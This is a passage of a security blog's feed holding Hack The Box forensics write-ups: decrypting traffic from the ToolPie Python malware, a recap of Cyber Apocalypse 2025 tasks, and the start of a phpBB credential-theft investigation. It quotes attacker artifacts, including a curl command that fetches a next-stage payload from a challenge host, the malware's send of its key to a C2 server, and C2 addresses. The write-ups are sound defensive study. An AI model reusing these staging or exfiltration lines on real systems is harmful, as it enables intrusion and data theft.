<pre><code class="lang-powershell">mkdir <span class="hljs-string">'C:\Users\Asentinn\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb'</span>
</code></pre>
<p>Now it looks like it is trying to reach the C&amp;C under <code>zOlsc2S65u.htb:31337</code> - but obviously, it cannot.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743464600578/abf8b150-8fc9-4b7b-b5be-2a8f085f86b8.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">I’ve spent hours attempting to figure out why the <code>hosts</code> changes are ignored on my setup. I’m running FlareVM on VirtualBox with Host-only network adapter. Whatever I’ve tried, nothing helped. <code>zOlsc2S65u.htb:31337</code> was unreachable. That was until I started <code>FakeNet</code> that comes with FlareVM.</div>
</div>

<p>Adding domain to the <code>hosts</code> file, starting <code>python -m http.server 31337</code> - and nothing changes. Now that I think about it - it was meant to exfiltrate data. So let’s give it some data.</p>
<pre><code class="lang-powershell"><span class="hljs-comment"># Run in the leveldb folder</span>
<span class="hljs-string">"htbrulez"</span> &gt; fake.db
</code></pre>
<p>Starting process once again - and here we have.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743465028410/fea8cf64-1381-4606-8e91-bad4862777a5.png" alt class="image--center mx-auto" /></p>
<p>It looks like it sends the data with a <code>POST</code> request. What keen eye notices is that communication comes with an Authorization Bearer Token:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743465336320/851bc20f-c66e-49b4-8889-48c039b0e7f4.png" alt class="image--center mx-auto" /></p>
<p>Pasting that into <a target="_blank" href="https://jwt.io/">jwt.io</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743465400266/ba715ec5-e523-4e29-97f3-e459d16a094a.png" alt class="image--center mx-auto" /></p>
<p>And Base64 decoding twice the <code>auth</code> portion:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743465495471/6e903a65-cd4d-46ef-9836-6f7582a9034d.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-additional-reading">Additional reading</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=XDAiS6KBDOs">Malware deobfuscation by John Hammond</a> - I’ve learned from this video a couple years ago</p>
</li>
<li><p><a target="_blank" href="https://github.com/mandiant/flare-vm?tab=readme-ov-file#installation-instruction">Extensive FlareVM installation instructions</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-oblique-final">More Windows executables shenanigans like R2R and stomping</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Forensics: ToolPie]]></title><description><![CDATA[Introduction

In the bustling town of Eastmarsh, Garrick Stoneforge’s workshop site once stood as a pinnacle of enchanted lock and toolmaking. But dark whispers now speak of a breach by a clandestine faction, hinting that Garrick’s prized designs may...]]></description><link>https://blog.cyberethical.me/htb-ctf-2025-forensics-toolpie</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-ctf-2025-forensics-toolpie</guid><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Wed, 26 Mar 2025 23:19:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743030958560/b229451f-fe21-4f0f-a63b-0a9864e059a4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>In the bustling town of Eastmarsh, Garrick Stoneforge’s workshop site once stood as a pinnacle of enchanted lock and toolmaking. But dark whispers now speak of a breach by a clandestine faction, hinting that Garrick’s prized designs may have been stolen. Scattered digital remnants cling to the compromised site, awaiting those who dare unravel them. Unmask these cunning adversaries threatening the peace of Eldoria. Investigate the incident, gather evidence, and expose Malakar as the mastermind behind this attack.</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Medium<br /><strong>Event</strong>: <a target="_blank" href="https://www.hackthebox.com/events/cyber-apocalypse-2025">Hack The Box Cyber Apocalypse 2025: Tales From Eldoria</a> (<a target="_blank" href="https://ctftime.org/event/2674/">ctftime</a>)<br /><strong>Author</strong>: <a target="_blank" href="https://app.hackthebox.com/users/70891">thewildspirit</a></p>
<p>Official write-up:<br /><a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/ToolPie">https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/ToolPie</a></p>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-initial-recon">Initial recon</h1>
<p>Given:</p>
<pre><code class="lang-plaintext">$ sha256sum *
03b6b7b65e4a2cd1b02b35ef814ce79c2d6746436394f7b42757cb0c4d79f88a  capture.pcap

$ wc -c *
8613560 capture.pcap
</code></pre>
<p>Archive contains only <code>capture.pcap</code> - which given its size (over 8.5 MB) it can be expected to contain some binary data exchange.</p>
<h1 id="heading-investigation">Investigation</h1>
<p>Start <code>wireshark</code> and let’s see what we have there.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743011438168/52dbe107-5751-4f86-bc38-37164f9d6d9a.png" alt class="image--center mx-auto" /></p>
<p>Brief scrolling through the packets show a lot of TCP packets. Borrowing the presentation technique from the <a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/ToolPie">author</a> let’s do not infer the conclusions based on the glance of such inferior and unreliable tool like an eye. <strong>Statistics</strong> &gt; <strong>Protocol Hierarchy</strong> - yes, majority of traffic is TCP data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743012469649/68713fa9-64a9-45a1-9ceb-955d7ed8952d.png" alt="Statistics &gt; Packet Hierarchy" class="image--center mx-auto" /></p>
<p>We can go furhter and check <strong>Statistics</strong> &gt; <strong>Conversations:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743013176688/cc312b12-4a4f-4168-88d8-cfb6b041be91.png" alt class="image--center mx-auto" /></p>
<p>One route stands out and it’s the one that transferred ~9MB of data to the <code>13.61.7.218</code> on port <code>55155</code>. Because we’ve already seen the HTTP requests, ports <code>:80</code> and <code>:443</code> should not be that suspicious (but only in this CTF scenario, usually <code>:80</code> is something that should be given special care).</p>
<h1 id="heading-01-what-is-the-ip-address-responsible-for-compromising-the-website">01. What is the IP address responsible for compromising the website?</h1>
<p>We have one IP on the radar - but so far we only know that it is where <em>probably</em> exfiltrated data were sent. We still don’t know who initiated the attack. Because question especially asks about the website, let’s check all HTTP traffic.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743014233698/657ef9f6-80cb-4361-9698-ee068a647abb.png" alt class="image--center mx-auto" /></p>
<p>One specific raw stands out - <code>/execute</code> coming from <code>194.59.6.66</code>. Packet details ultimately points that this indeed was mallicious intent.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743014428973/acac6e48-d008-4a85-b45c-3a29d3f58e32.png" alt class="image--center mx-auto" /></p>
<p>Answer: <code>194.59.6.66</code></p>
<h1 id="heading-02-what-is-the-name-of-the-endpoint-exploited-by-the-attacker">02. What is the name of the endpoint exploited by the attacker?</h1>
<p>Already found.<br />Answer: <code>execute</code></p>
<h1 id="heading-03-what-is-the-name-of-the-obfuscation-tool-used-by-the-attacker">03. What is the name of the obfuscation tool used by the attacker?</h1>
<p>Decode the payload sent to the <code>/execute</code> endpoint. Right click on <code>JavaScript Object Notation: application/json</code>, <strong>Show Packet Bytes</strong>, select <strong>Show as JSON</strong> and save. Little clean up and we have stage 1, python script:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743018354935/fcf80d84-f6e2-4d06-af00-4fa21c6e9246.png" alt class="image--center mx-auto" /></p>
<details><summary>Python Data Marshalling</summary><div data-type="detailsContent">Read and writing Python values in a binary format. The format is specific to Python, but independent of machine architecture. The marshal module exists mainly to support reading and writing the “pseudo-compiled” code for Python modules of .pyc files.</div></details>

<p>We can further analyze the object.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> marshal,lzma,gzip,bz2,binascii,zlib

compressed_data = <span class="hljs-string">b'BZh91AY&amp;SY\x8d &lt;&lt;binary data&gt;&gt;'</span>
marshalled_object = bz2.decompress(compressed_data)
code = marshal.loads(marshalled_object)

print(type(code))

<span class="hljs-comment"># List all attributes and methods of the object</span>
print(<span class="hljs-string">"Available attributes and methods:"</span>, dir(code))

<span class="hljs-comment"># Filter and show only callable methods</span>
methods = [m <span class="hljs-keyword">for</span> m <span class="hljs-keyword">in</span> dir(code) <span class="hljs-keyword">if</span> callable(getattr(code, m))]
print(<span class="hljs-string">"Callable methods:"</span>, methods)

<span class="hljs-keyword">if</span> hasattr(code, <span class="hljs-string">"co_consts"</span>):
    print(<span class="hljs-string">"Constants:"</span>, code.co_consts)
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">"No constants found"</span>)

<span class="hljs-keyword">if</span> hasattr(code, <span class="hljs-string">"co_names"</span>):
    print(<span class="hljs-string">"co_names:"</span>, code.co_names)
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">"No co_names found"</span>)

<span class="hljs-keyword">if</span> hasattr(code, <span class="hljs-string">"co_varnames"</span>):
    print(<span class="hljs-string">"co_varnames:"</span>, code.co_varnames)
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">"No co_varnames found"</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743020372119/279c8154-4ae3-46de-a350-553f93745cad.png" alt class="image--center mx-auto" /></p>
<p>At this point we can see many references to the <a target="_blank" href="https://github.com/Sl-Sanda-Ru/Py-Fuscate">Py-Fuscate</a>.</p>
<p>Answer: <code>Py-Fuscate</code></p>
<h1 id="heading-04-what-is-the-ip-address-and-port-used-by-the-malware-to-establish-a-connection-with-the-command-and-control-c2-server">04. What is the IP address and port used by the malware to establish a connection with the Command and Control (C2) server?</h1>
<p>This was already established in initial recon and doubled in the output of previous script.</p>
<p>Answer: <code>13.61.7.218:55155</code></p>
<h1 id="heading-05-what-encryption-key-did-the-attacker-use-to-secure-the-data">05. What encryption key did the attacker use to secure the data?</h1>
<p>In the output of previous script we see references to the <code>Crypto.Cipher</code> package and AES - so with great probability we can assume that indeed AES was used to encrypt data. This alghoritm needs two parameters to work - encryption key and IV vector. Usually encryption key is constant and known for the decryptor and IV vector is different for each ciphertext. In the easiest way, IV vector is sent in plain text together with the encrypted data.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">We can cheat a bit here (this is what I did) and come back to the PCAP, inspect all trafic that comes <strong>to</strong> the C&amp;C and discover that two packets follow this template: <code>ec2amaz-bktvi3e\administrator&lt;SEPARATOR&gt;5UUfizsRsP7oOCAq</code>. I’ve blindly typed this as a flag and it passed.</div>
</div>

<p>For this and the next question we first have to somehow disassembly the Python bytecode. The most straighforward is to use <code>dis</code> package.</p>
<h2 id="heading-dissassembling-python-bytecode">Dissassembling Python bytecode</h2>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<p>This can be done using <code>dis.dis()</code>. One caveat with that is the method returns <code>None</code> and prints directly to the standard output. One way to catch is to redirect call to some file (<code>python dismal.py &gt; source.dis</code>)</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> marshal,lzma,gzip,bz2,binascii,zlib
<span class="hljs-keyword">import</span> dis

<span class="hljs-comment"># Compressed data (example)</span>
compressed_data = <span class="hljs-string">b'&lt;&lt;bytecode&gt;&gt;'</span>
marshalled_object = bz2.decompress(compressed_data)
code = marshal.loads(marshalled_object)
dis.dis(code)
</code></pre>
<p>We ends with semi-readable pseudo code that looks a lot like an assembler code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743024399598/cab5ec4a-e2d3-40a2-b58a-1332553252d1.png" alt class="image--center mx-auto" /></p>
<p>It is problematic to discuss how I’ve analyzed the pseudocode, but at this point this fragment is most important to us:9</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743025183380/d9c46707-4415-4239-8e63-dd552e62fd55.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><a target="_self" href="https://stackoverflow.com/questions/12673074/how-should-i-understand-the-output-of-dis-dis">&gt;This&lt;</a> is a good thread, I’ve learned from it how to “decipher” <code>dis.dis()</code> output:</div>
</div>

<p>This can be translated to Python code:</p>
<pre><code class="lang-python">cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
</code></pre>
<p>And here is where the attacked made a mistake - in his encryption alghoritm used the same value for both encryption key and IV vector.. and passed that value in plaintext together with the encrypted data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743025644880/9a819878-e318-4637-91c9-c25f21c6576e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-python">client.send((user+SEPARATOR+k).encode())
</code></pre>
<p>Inspecting TCP packets sent to C&amp;C:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743025847907/14931cd8-0695-4a65-ad6f-53236054baf4.png" alt class="image--center mx-auto" /></p>
<p>Answer: <code>5UUfizsRsP7oOCAq</code></p>
<h1 id="heading-06-what-is-the-md5-hash-of-the-file-exfiltrated-by-the-attacker">06. What is the MD5 hash of the file exfiltrated by the attacker?</h1>
<p>We have all the information needed to recover the file.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">For automated approach I stronly suggest reading author’s <a target="_self" href="https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/ToolPie">write-up</a>.</div>
</div>

<p>In <code>wireshark</code> <strong>Analyze</strong> &gt; <strong>Follow</strong> … &gt; <strong>TCP Stream</strong>. Find stream with big chunks of data, select only communication to C&amp;C, raw (important later) and save.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743026129603/acf39e75-689d-44cc-902e-8c08c4b1bf89.png" alt class="image--center mx-auto" /></p>
<p>Now open up <a target="_blank" href="https://gchq.github.io/CyberChef/">CyberChef</a>. Input AES paremeters we know.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743026574558/530075d9-1fe4-44d1-9d2d-0fc8dbb587dd.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Padding is really important. When you choose correct padding (CBC, not “CBC no padding“), decrypted output should be clean, without any symbols. I was unable to get the correct MD5 becasue of that - PDF files was readable, had correct number of bytes.. but hash did not match.</div>
</div>

<p>With this we can further decode all top 4 lines from the <code>wireshark</code> view.</p>
<ol>
<li><p>Some bytes</p>
</li>
<li><p><code>check-ok</code></p>
</li>
<li><p><code>ok</code></p>
</li>
<li><p><code>8504240</code></p>
</li>
</ol>
<p>When you hover over the packet details in the “Follow TCP Stream” you can see from which packet data comes from:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743026826786/4c173eac-a7cb-4f85-afca-76acb1d2088a.png" alt class="image--center mx-auto" /></p>
<p>Clear all filters and navigate to packet no. 91 - now two packets before, in 89, there is request from C&amp;C for which response was number <code>8504240</code>. Select packet 89, select Data segment, right click and copy value. This is another way to acquire the packet data from a single packet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743027101787/721ebdf9-ce96-4ee2-a116-8fabd0884b3f.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">At this point you may realize the best is to just select <strong>Entire conversation </strong>in “Follow TCP Stream” window if you want to check all the communication, instead all of this. And you would be right.</div>
</div>

<p>Decrypted value gives us information that C&amp;C requested a PDF file and 8504240 is its size in bytes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743027323918/2fd3d6fb-c0e7-4d00-9cd5-b0e46eb89095.png" alt class="image--center mx-auto" /></p>
<p>Now, come back to the “Follow TCP Stream” window, ensure only traffic to C&amp;C is selected and save. Do hexdump of the saved data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743029099644/569d5e2c-24a0-4e6a-b830-0b2dfe066ef8.png" alt class="image--center mx-auto" /></p>
<p>Notice that we have an unwated data at the beginning of the encrypted file. Content starts from <code>e1 4c fe a8</code> (see the content of packet 94 or 5th line in “Follow TCP Stream”). Now, to carve out the unncessary data, we have to remove that many bytes (<code>e1</code> starts after 69 bytes in hexadecimal base):</p>
<p>$$(60+9){(16)} = 105{(10)}$$</p><pre><code class="lang-diff">$ dd skip=105 bs=4096 iflag=skip_bytes if=raw.enc of=rawdata.enc
</code></pre>
<p>The result should look like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743029956182/5b6597ef-b16e-4727-bc98-8bc450cf91de.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743029990663/18f83807-7e5e-4bf5-97ab-3b31b5e40806.png" alt class="image--center mx-auto" /></p>
<p>Now upload file to the CyberChef and decode the PDF file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743030094647/215b0724-e27b-4b71-bdd3-470e0378d38a.png" alt class="image--center mx-auto" /></p>
<p>Save the file and calculate its MD5, or just add MD5 block in CyberChef.</p>
<p>Answer: <code>8fde053c8e79cf7e03599d559f90b321</code></p>
<h1 id="heading-bonus-pycdc">Bonus: pycdc</h1>
<p>I have tried other ways to acquire something closer to the Python code - but the best what I had was running following with the Python 3.13:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> marshal,lzma,gzip,bz2,binascii,zlib
<span class="hljs-keyword">import</span> importlib

<span class="hljs-comment"># Compressed data (example)</span>
compressed_data = <span class="hljs-string">b'&lt;&lt;bytecode&gt;&gt;'</span>

marshalled_object = bz2.decompress(compressed_data)
code = marshal.loads(marshalled_object)
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">"mal_313.pyc"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> out_file:
    out_file.write(pyc_data)
</code></pre>
<p>Then running <code>pycdc</code> (<a target="_blank" href="https://github.com/zrax/pycdc">https://github.com/zrax/pycdc</a>) on acquired PYC file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743024764308/26f6cc4d-0500-4066-9297-a342400a02b5.png" alt class="image--center mx-auto" /></p>
<p>This was most certainly to the fact that <code>Py-Fuscate</code> was used with combination of unsupported Python versions for <code>pycdc</code> and <code>decompyle3</code>.</p>
<div class="hn-embed-widget" id="join-cta"></div>]]></content:encoded></item><item><title><![CDATA[HTB - Tales From Eldoria - Forensics]]></title><description><![CDATA[Just quick recap of the Forensics tasks - more details coming in following days, have a lot to do outside the area of offensive security so, forgive me for this format this time. Please follow-up on Discord and other socials for updates.
Challenges d...]]></description><link>https://blog.cyberethical.me/htb-ca-2025</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-ca-2025</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[forensics]]></category><category><![CDATA[blueteam]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Wed, 26 Mar 2025 13:00:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1742981905728/f18081ab-59de-4c08-b304-b772641e6022.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>Just quick recap of the Forensics tasks - <strong>more details coming</strong> in following days, have <strong>a lot</strong> to do outside the area of offensive security so, forgive me for this format this time. Please follow-up on Discord and other socials for updates.</p>
<p>Challenges described below are from the Hack The Box Cyber Apocalypse 2025 CTF - <a target="_blank" href="https://www.hackthebox.com/events/cyber-apocalypse-2025">Tales From Eldoria</a>.<br /><em>Cover background image and HTB logo belongs to the Hack The Box (I’m not an author of those images).</em></p>
<h1 id="heading-thorins-amulet">Thorin’s Amulet</h1>
<p>PowerShell payload deobfuscation. Decode command in script</p>
<pre><code class="lang-powershell">powershell.exe <span class="hljs-literal">-NoProfile</span> <span class="hljs-literal">-NonInteractive</span> <span class="hljs-literal">-EncodedCommand</span> /Base64 command/
</code></pre>
<p>Then</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">curl</span> <span class="hljs-literal">-H</span> <span class="hljs-string">"X-ST4G3R-KEY: 5337d322906ff18afedc1edc191d325d"</span> http://korp.htb/a541a
</code></pre>
<p>to obtain the next stage. Last stage contains encoded flag (just run it in Linux <code>pwsh</code>).</p>
<h1 id="heading-a-new-hire">A new Hire</h1>
<p>Straightforward multistage payload, at the end there is a base64 encoded flag.</p>
<p>Read email, navigate to <code>storage.microsoftcloudservices.com:[PORT]/index.php</code> where another URL <code>http://IP:PORT/3fe1690d955e8fd2a0b282501570e1f4/resumes/</code> contains malicious file hiding as a PDF file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742969315073/8837ffae-5661-49e8-95c7-bc4ca8764db4.png" alt class="image--center mx-auto" /></p>
<p>That contains one more base64 PowerShell encrypted command, where again, base64 encoded flag is located.</p>
<h1 id="heading-silent-trap">Silent Trap</h1>
<p>In the PCAP file we can find contents of mails, packet 72 contains mail from threat actor with attachment <code>Eldoria_Balance_Issue_Report.pdf.exe</code>. Bytes can be extracted from packet 614. We can decompile the program and discover the cypher is RC4 where same function works for encryption &amp; decryption and it exfitrates data through IMAP protocole. Combing through the PCAP file we can find whole communication between host and C&amp;C at <code>192.168.91.173</code>. Now that we have the decryptor/encrypt from reverse engineered binary we can decode all transfered data and answer other questions.</p>
<h1 id="heading-stealth-invasion">Stealth Invasion</h1>
<p>Delivered <code>memdump.elf</code> Windows memory dump can be analyzed with <code>volatility3</code>. The issue in my side was outdated installation, after updating to latest there were no issues with volatility modules.</p>
<h1 id="heading-cave-expedition">Cave Expedition</h1>
<p>All Windows logs were pruned after operation, only traces are in the <code>Microsoft-Windows-Sysmon_Operational.evtx</code> from which we can decode all PowerShell payloads to dicover what happened. Slowly we deobfuscate stage by stage malicious payloads finally to obtains the ecryption method - which once again happen to be XORing (which is reversable regadless of how many XOR factors were used - here 2 times). Then <code>map.pdf.secured</code> can be decrypted.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742970711240/9ca0841e-f5c9-47c0-992d-eb7157190c26.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-toolpie">ToolPie</h1>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/htb-ctf-2025-forensics-toolpie">https://blog.cyberethical.me/htb-ctf-2025-forensics-toolpie</a></div>
<p> </p>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<h1 id="heading-tales-for-the-brave">Tales for the Brave</h1>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/htb-ctf-2025-forensics-tales-for-the-brave">https://blog.cyberethical.me/htb-ctf-2025-forensics-tales-for-the-brave</a></div>
<p> </p>
<div class="hn-embed-widget" id="join-cta"></div>]]></content:encoded></item><item><title><![CDATA[HTB Sherlock: Bumblebee]]></title><description><![CDATA[💡
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...]]></description><link>https://blog.cyberethical.me/htb-sherlock-bumblebee</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-sherlock-bumblebee</guid><category><![CDATA[SQLite]]></category><category><![CDATA[sqlite3]]></category><category><![CDATA[grep]]></category><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[htb]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Fri, 29 Mar 2024 08:00:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869695133/60c3aa02-866f-467f-80ca-7669cce8667b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This write-up is a part of the <a target="_blank" href="https://blog.cyberethical.me/series/htb-sherlocks">HTB Sherlocks series</a>. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. <a target="_blank" href="https://affiliate.hackthebox.com/sherlocks2352">Are you ready to start the investigation?</a></div>
</div>

<h1 id="heading-incident-details">Incident Details</h1>
<p>Name: <a target="_blank" href="https://affiliate.hackthebox.com/sherlocks-bumblebee">Bumblebee</a><br />Category: DFIR<br />Difficulty: Easy (<a target="_blank" href="https://labs.hackthebox.com/achievement/sherlock/555018/554"><em>Solved</em></a>)</p>
<blockquote>
<p>An external contractor has accessed the internal forum here at Forela via the Guest WiFi and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.</p>
</blockquote>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-evidences">Evidences</h1>
<blockquote>
<p>All evidence files are marked as readonly right after acquiring and their hash (sha256) is written down. Read-only attribute does not affect the hash of a file.</p>
</blockquote>
<p>01: ZIP archive, password protected (<code>hacktheblue</code>)</p>
<pre><code class="lang-plaintext">$ bumblebee.zip
aa2f772a208f4bec24e99242b541b95302175a0960f326d107f5bfddbcf61775
</code></pre>
<p>02: gzip compressed data</p>
<pre><code class="lang-plaintext">$ bumblebee.zip/incident.tgz
58bf64aeabde58d057ef690c3f41aed48fdcafc3c81e3382df95c34ad1f51a24
</code></pre>
<p>03: POSIX tar archive</p>
<pre><code class="lang-plaintext">$ bumblebee.zip/incident.tgz/incident.tar
6822ffb99b274523f741d37236f018b0ef6b1b945d9a92d88ba9911d2ca26869
</code></pre>
<p>04: ASCII text</p>
<pre><code class="lang-plaintext">bumblebee.zip/.../access.log
43ca54b7fce36f772d8e0705625b2f54eaf91a3d32e71d342b1c4af7a16ce577
</code></pre>
<p>05: SQLite 3.x database</p>
<pre><code class="lang-plaintext">bumblebee.zip/.../phpbb.sqlite3
ec7579dbe5435f1972a44d462a8dd0b76db994be4eb5f68b5c3622164418940f
</code></pre>
<h1 id="heading-analysis">Analysis</h1>
<p>Customer provided the logs from web server (forum) and a database file (SQLite3). Name of the databse file and some requests in logs suggest that the forum was <a target="_blank" href="https://www.phpbb.com/">phpBB</a> running on the PHP engine.</p>
<h2 id="heading-accesslog"><code>access.log</code></h2>
<p>Consists only with GET/POST requests with few repetitions of OPTIONS:</p>
<pre><code class="lang-plaintext">::1 - - [25/Apr/2023:15:52:40 +0100] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.56 (Debian) (internal dummy connection)"
</code></pre>
<p>Shoting blindly with some potential RCEs</p>
<pre><code class="lang-plaintext">grep -iE "(sh|cmd|exec)" access.log | grep -ivE "(macintosh|sheet)
</code></pre>
<p>Checking for some unusual requests.</p>
<pre><code class="lang-plaintext">grep -E "(DELETE,PUT)" access.log
</code></pre>
<h2 id="heading-questions">Questions</h2>
<p>In this scenario we have 10 questions to answer.</p>
<ol>
<li>What was the username of the external contractor?</li>
</ol>
<p>Grepping the logs for "username", "user", "login", "sign" returns nothing useful at the moment, so I'm looking into the database file.</p>
<pre><code class="lang-plaintext">$ sqlite -readonly phpbb.sqlite3
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869146907/88c8f6d1-a4ba-43bd-bc08-9dca872de047.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">sqlite&gt; .output db/phpbb_log.sql
sqlite&gt; .dump phpbb_log
sqlite&gt; .output db/phpbb_users.sql
sqlite&gt; .dump phpbb_users
</code></pre>
<p>At database we can see two users with a mail domain '@contractor.net'. I have no idea which one is the contractor in question but nevertheless one of the usernames is the correct answer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869164442/6657935b-b6bb-40f8-89ef-526ab037ffd3.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li>What IP address did the contractor use to create their account?</li>
</ol>
<p>This can be found in <code>phpbb_logs</code> table, with action <code>LOG_USERS_ADDED</code>.</p>
<ol start="3">
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869193324/34844add-62ab-406b-8095-8254d1c9a704.png" alt class="image--center mx-auto" /></p>
<p> What is the post_id of the malicious post that the contractor made?</p>
</li>
</ol>
<p>Ah, so the contractor was the one who compromised the administrator account. I thougth that "they" meant owners of that Guest WiFi, but ok.</p>
<p>Grepping <code>access.log</code> for <code>post_id</code> returns nothing. Dumping php table:</p>
<pre><code class="lang-plaintext">sqlite&gt; .output db/phpbb_posts.sql
sqlite&gt; .dump phpbb_posts
</code></pre>
<p>Fortunatelly there are not really must post there. Malicious post with cookie stealing injection is there.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869220909/6017461a-1969-4846-956b-09ab2510e117.png" alt class="image--center mx-auto" /></p>
<p>Injected form (pruned of unnecessary elements) is below.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    //...
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span>&gt;</span><span class="javascript">
